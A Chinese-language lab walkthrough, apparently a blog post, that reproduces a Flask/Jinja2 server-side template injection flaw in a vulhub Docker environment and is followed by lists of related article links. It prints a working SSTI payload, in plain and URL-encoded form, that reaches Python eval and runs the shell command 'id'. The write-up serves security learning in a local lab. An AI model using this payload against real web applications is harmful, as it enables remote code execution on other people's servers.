Flask(Jinja2)服务端模板注入漏洞——vulhub/flack/ssti
一、服务端模板注入漏洞
简述:
服务器模板注入 (SSTI ) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点。SSTI 攻击可以用来找出 Web 应用程序的内容结构。
二、利用搭的vulhub靶机漏洞复现
1、 service docker start //进入虚拟机后开启docker服务
docker version 查看docker版本信息确认是否开启
2、cd /vulhub/flack/ssti //进入到ssti的目录下
3、cat README.md //查看README.md 目录,这里是该漏洞复现的具体流程。
4、docker-compose up -d && docker-compose build // 加载环境并运行
5、然后在浏览器上访问http://your-ip:8000,
6、访问http://your-ip/?name={{233*233}},得到54289,说明SSTI漏洞存在。
7、 获取eval函数并执行任意python代码的POC: //获取os
```
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
```
8、最后放到浏览器里注意要url编码,得到执行结果。
http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
三、漏洞复现成功后,可删除掉镜像
1、docker-compose down //docker-compose容器停止运行
2、docker ps //查看容器进程
docker images //查看下载保存的镜像
3、docker rmi 1a2dea4ab6aa //需要删除ssti_flask 下载源地址
Flask(Jinja2)服务端模板注入漏洞——vulhub/flack/ssti相关推荐
- cve-2019-11581 Atlassian Jira未授权服务端模板注入漏洞
漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和Jira ...
- jinja2模板注入_Flask(Jinja2) 服务端模板注入漏洞
原理 测试 编译及运行测试环境: cd vulhub~master/flack/ssti sudo docker-compose build sudo docker-compose up -d sud ...
- Flask服务端模板(Jinja2) SSTI 注入漏洞
漏洞简介 flask/ssti漏洞,即: Flask(Jinja2) 服务端模板注入漏洞(SSTI).Flask 是一个使用 Python 编写的轻量级 Web 应用框架,Flask 为你提供工具,库 ...
- Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)
0x00 漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和 ...
- 详解模板注入漏洞(下)
作者 | 原作者gosecure,翻译整理shan66 来源 | http://gosecure.github.io/ 在上一篇文章中,我们为读者详细介绍了模版注入漏洞的概念,模版引擎的识别方法,以及 ...
- Weblogic服务端请求伪造漏洞(SSRF)和反射型跨站请求伪造漏洞(CSS)修复教程...
一.服务端请求伪造漏洞 服务端请求伪造(Server-Side Request Forgery),是指Web服务提供从用户指定的URL读取数据并展示功能又未对用户输入的URL进行过滤,导致攻击者可借助 ...
- php模板注入漏洞,74CMS前台模板引擎注入漏洞漏洞复现
74CMS 曝高危漏洞,攻击者只需注册会员账号,上传一份包含恶意内容的简历,即可控制网站服务器,进行任意操作. 漏洞复现.jpg 74CMS 又称 "骑士 CMS ",是一项以 P ...
- 【网络安全工程师面试】—SSRF服务端请求伪造漏洞及利用方法
目录 4.4. SSRF 4.4.1. 简介 4.4.1.1. 漏洞危害 4.4.2. 利用方式 4.4.3. 相关危险函数 4.4.4. 过滤绕过 4.4.4.1. 更改IP地址写法 4.4.4.2 ...
- web渗透测试----15、SSRF漏洞(服务端请求伪造漏洞)
SSRF漏洞是一种在未能获取服务器权限时,利用服务器漏洞,由攻击者构造请求,服务器端发起请求的安全漏洞,攻击者可以利用该漏洞诱使服务器端应用程序向攻击者选择的任意域发出HTTP请求. 很多Web应用都 ...
最新文章
- 卷积神经网络mnist手写数字识别代码_搭建经典LeNet5 CNN卷积神经网络对Mnist手写数字数据识别实例与注释讲解,准确率达到97%...
- java中Map ListE的用法
- uni-app微信小程序登录授权
- MySql Cluster 集成安装,Centos,坑点集锦
- 差分输出和单端输出的区别(转载)
- php 随机码类,php随机类型验证码
- 详解HTTP协议的工作原理
- Dart语言中的Isolate
- matlab设计椭圆低通滤波器,【 MATLAB 】ellip 函数介绍(椭圆滤波器设计)
- 弘辽科技:拼多多客单价怎么算?如何提高?
- Opencv 入门篇学习记录(图片)
- 郑州轻工业大学OJ python 1060: 逆序数字
- Android面试:ActivityA与ActivityB相互跳转对应生命周期变化
- 电脑怎么提取图片中的文字?
- 人类的心理行为模式----《影响力》中的心理学实验摘录(转)
- python后端常见架构_常见的后端框架
- 《程序员的呐喊》一一1.2 巴别塔
- 殇一曲、谁伴我地老天荒
- 修复版超强大微信小程序源码-内含几十款功能证件图片制作王者战力查询工具箱大全
- 知识图谱和专家系统、知识工程、数据库等概念的比较
热门文章
- RP Fiber Power特征
- 你是如何理解SpringBoot Starters的?
- 计算机视觉(二)HARRIS角点检测算法与SIFT
- 反爬虫的常见应对方法
- 软件测试之测试用例编写及编写规范
- WinForm使用多线程异步加载界面数据
- 如何获取 Linq 查询结果集合中的索引?
- Codeforces-1604 D: Moderate Modular Mode
- [Exception] java.util.MissingFormatArgumentException: Format specifier ‘%s‘
- 如何培养自身领导力?关于领导力提升的书籍推荐